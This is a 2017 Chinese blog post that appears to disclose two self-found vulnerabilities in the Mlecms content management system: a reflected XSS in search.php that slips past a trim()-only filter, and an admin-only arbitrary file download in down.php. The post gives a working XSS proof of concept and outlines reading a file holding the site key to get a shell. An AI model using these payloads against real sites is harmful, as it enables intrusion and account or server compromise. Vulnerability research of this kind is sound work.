首页 > 技术文章 > Mlecms 反射型xss && 后台任意文件下载

yangxiaodi 2017-06-06 16:22 原文

应该算0day吧,自己分析出来的,有点鸡肋,不过小cms分析确实比较简单。

 

xss地址:search.php?word=a><img+src=1+onerror=alert`1`>a&type=1

 

对于word的参数,他的过滤是这样的

		$trim_str = ' .,;[]|+-=_`~!@#$%^&*()<>?{}';
		empty($this->type) && $this->type = 1;
		$this->type = $this->type < 1 ? 1 : ($this->type > 4 ? 4 : $this->type);			
		$this->word = trim(preg_replace('/[\'\"\\\\\/]/','',$this->word),$trim_str);
		$this->tag = trim(preg_replace('/[\'\"\\\\\/]/','',$this->tag),$trim_str);

  先过滤'"\/ 然后在过滤这些.,;[]|+-=_`~!@#$%^&*()<>?{}   发现是用trim() 函数来过滤的,他也就过滤头部和尾部,所以我们只要头部和尾部不为.,;[]|+-=_`~!@#$%^&*()<>?{}就行,所以我们的poc是: a><img+src=1+onerror=alert`1`>a ,

 

后台任意文件下载。

漏洞位于 /down.php  第69行

	$do == 0 && $d['mode'] == 0 && is_file($d['format_url'][$do][1]) ? download::read($d['format_url'][$do][1]) : msgbox('',$d['format_url'][$do][1]); 

  

调用read()函数读取url,跟进read()函数

	public static function read($file){
		ob_end_clean();
		header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
		header('Content-Description: File Transfer');
		header('Content-Type: application/octet-stream');
		@header('Content-Length: '.filesize($file));
		header('Content-Disposition: attachment; filename='.basename($file));
		@readfile($file);
		exit();
	}

  

没有啥过滤,直接读取返回。

$d['format_url'][$do][1]而这个url的值是存放在数据库中的值,这个值是后台创建的,或者修改。 

修改完成以后在前台下载就行。

 

这个文件下载漏洞需要管理员的权限,下载包含webkey的文件,就能getshell了。 

 

readfile() 不知道能不能用 php://的方法来getshell,暂时没找到,留着以后更! 

推荐阅读